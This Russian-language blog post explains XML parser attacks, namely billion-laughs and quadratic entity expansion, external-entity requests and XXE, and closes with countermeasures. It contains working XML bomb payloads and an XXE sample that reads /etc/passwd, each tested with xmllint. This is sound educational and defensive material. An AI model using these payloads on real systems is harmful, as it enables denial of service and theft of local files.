В рассылке oss-security было опубликовано обсуждение различных уязвимостей, связанных с разбором XML. Уязвимостям подвержены приложения, которые разрешают библиотекам обрабатывать именованные и внешние сущности в DTD, встроенном в XML-документ, полученный из недоверенного источника. Т.е. по сути — приложения, не изменяющие настроек парсера по умолчанию.
Примеры XML-бомб под катом. Если у вас есть приложения, обрабатывающие XML, вы можете самостоятельно проверить их на предмет наличия уязвимостей. Проверка бомб в этом посте производится на примере утилиты xmllint, входящей в комплект поставки библиотеки libxml2, но можно использовать и другие синтаксические анализаторы.
Теория
Стандарт XML разрешает XML-документам использовать DTD для определения допустимых конструкций из вложенных тегов и атрибутов. DTD может быть либо представлен в виде ссылки на внешний источник, либо полностью определяться внутри самого документа. Пример документа со встроенным DTD:
<!DOCTYPE greeting [
<!ELEMENT greeting (#PCDATA)>
]>
<greeting>Hello, world!</greeting>
В DTD, помимо элементов и атрибутов, можно определять сущности. Пример документа, использующего именованные сущности:
<!DOCTYPE greeting [
<!ENTITY target "world">
<!ELEMENT greeting (#PCDATA)>
]>
<greeting>Hello, ⌖!</greeting>
Проверить этот документ на валидность и раскрыть сущности можно так:
$ xmllint --noent --valid hello.xml
Экспоненциальное раздувание сущностей
Именованные сущности могут раскрываться не только в символьные строки, но и в последовательности других сущностей. Рекурсия запрещена стандартом, но ограничений на допустимую глубину вложенности нет. Это позволяет добиться компактного представления очень длинных текстовых строк (аналогично тому, как это делают архиваторы) и составляет основу атаки «billion laughs», известной с 2003 года.
<!DOCTYPE bomb [
<!ENTITY a "1234567890" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;">
<!ELEMENT bomb (#PCDATA)>
]>
<bomb>&d;</bomb>
Современные XML-парсеры содержат защиту от такой атаки. Например, libxml2 по умолчанию отказывается разбирать этот документ, несмотря на его строгое соответствие стандарту:
$ xmllint --noent --valid bomb1.xml
Entity: line 1: parser error : Detected an entity reference loop
&c;&c;&c;&c;&c;&c;&c;&c;
^
bomb1.xml:8: parser error : Detected an entity reference loop
<bomb>&d;</bomb>
^
Чтобы таки увидеть, насколько он раздувается при раскрытии сущностей, надо явно отключить защиту от этой атаки:
$ xmllint --noent --valid --huge bomb1.xml | wc -c
5344
Очевидно, добавление новой сущности по аналогии с уже приведенными раздувает выходной поток примерно во столько раз, сколько ссылок на предыдущую сущность содержится в добавляемой. Входной документ при этом увеличивается на количество байт, пропорциональное этому количеству ссылок. Т.е. имеет место экспоненциальная зависимость между размерами входного XML-документа и выходного потока символов.
Маленький XML-документ может вызвать непропорционально большое потребление ресурсов (таких как ОЗУ и время процессора) для задачи его разбора до тегов и символьных строк. Перед нами типичная DoS-атака, основанная на существенном различии сложности используемого алгоритма в типичном и худшем случае.
Квадратичное раздувание сущностей
Как мы уже видели, некоторые библиотеки для борьбы с атакой «billion laughs» вводят жесткое искусственное ограничение на глубину дерева именованных сущностей. Такое ограничение действительно позволяет предотвратить экспоненциальную зависимость между объемом входного XML-файла и выходного потока символов. Однако, для взломщика, стремящегося израсходовать все ресурсы сервера сравнительно небольшим XML-документом, наличие экспоненциальной зависимости между этими величинами не нужно. Квадратичная зависимость вполне сойдет, а для нее достаточно одного уровня именованных сущностей. Будем просто повторять одну длинную сущность много раз:
<!DOCTYPE bomb [
<!ENTITY x "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...x" >
<!ELEMENT bomb (#PCDATA)>
]>
<bomb>&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;...&x;</bomb>
$ xmllint --huge --noent --valid bomb2.xml | wc -c
1868
Опция --huge добавлена на случай, ваша версия libxml2 посчитает, что приведенный пример является атакой. Этому ее научили этим коммитом, т.е. на момент публикации поста соответствующее изменение не успело попасть в релиз.
Внешние сущности
Стандарт XML содержит возможность получать значения сущностей не только из готовых строк, но и путем обращения к внешним ресурсам, например, по протоколу HTTP. Это открывает для атакующего, имеющего доступ к парсеру XML на сервере-зомби, возможность сканировать порты и даже организовывать DoS-атаки на другие сервера, скрывая свой IP-адрес. Вот этот XML-файл при попытке его разобрать парсером, поддерживающим внешние сущности, создаст три запроса к RSS-потокам Хабра:
<!DOCTYPE bomb [
<!ENTITY a1 SYSTEM "http://habrahabr.ru/rss/best/" >
<!ENTITY a2 SYSTEM "http://habrahabr.ru/rss/hubs/" >
<!ENTITY a3 SYSTEM "http://habrahabr.ru/rss/qa/" >
<!ELEMENT author ANY>
<!ELEMENT blockquote ANY>
<!ELEMENT category ANY>
<!ELEMENT channel ANY>
<!ELEMENT code ANY>
<!ELEMENT description ANY>
<!ELEMENT generator ANY>
<!ELEMENT guid ANY>
<!ATTLIST guid isPermaLink CDATA #IMPLIED>
<!ELEMENT h3 ANY>
<!ELEMENT i ANY>
<!ELEMENT image ANY>
<!ELEMENT item ANY>
<!ELEMENT language ANY>
<!ELEMENT lastBuildDate ANY>
<!ELEMENT link ANY>
<!ELEMENT managingEditor ANY>
<!ELEMENT pre ANY>
<!ELEMENT pubDate ANY>
<!ELEMENT rss ANY>
<!ATTLIST rss version CDATA #IMPLIED>
<!ELEMENT title ANY>
<!ELEMENT url ANY>
<!ELEMENT bomb ANY>
]>
<bomb>&a1;&a2;&a3;</bomb>
$ xmllint --noent --noout --load-trace bomb3.xml
В примере выше можно запретить парсеру читать сущности из сети путем передачи ключа --nonet.
Тем же способом можно заставить уязвимое приложение читать локальные файлы с секретной информацией вроде пароля для базы данных. К сожалению, здесь --nonet не помогает:
<!DOCTYPE bomb [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >
<!ELEMENT bomb (#PCDATA)>
]>
<bomb>&passwd;</bomb>
$ xmllint --noent --nonet --valid bomb4.xml
Подобный тип атак называется XXE (от XML eXternal Entity). Один из недавних примеров — уязвимость в PostgreSQL, CVE-2012-3489.
Заключение
Теперь поговорим о предотвращении таких атак.
Само собой, необходимо использовать версии библиотек, в которых приняты контрмеры против этих и других уязвимостей. Необходимо явно ограничивать ресурсы, затраченные на разбор XML-документа. Например, для libxml2 это можно сделать, вызвав xmlMemSetup() и передав свои собственные функции управления памятью, которые просто не дадут выделить слишком много. Необходимо также ограничить доступ к внешним ресурсам, например, путем написания собственного загрузчика сущностей.
Есть, однако, мнение, что все меры, перечисленные выше, нацелены на симптомы, а не на суть перечисленных уязвимостей. Действительно, откуда вообще в вашем приложении взялась задача разбора XML-документа согласно DTD, упоминающемуся (или содержащемуся) в нем самом? Не будет ли более правильной задача разбора этого XML-документа согласно правилам вашего приложения? Ведь вы же проверяете валидность данных в HTML-форме согласно регулярным выражениям, находящимся в коде ее обработчика, а не пришедшим вместе с данными формы. Соответственно, вам хватит не использующего DTD (а значит, невалидирующего) XML-парсера, в который заранее загружены нужные сущности.
Автор: AEP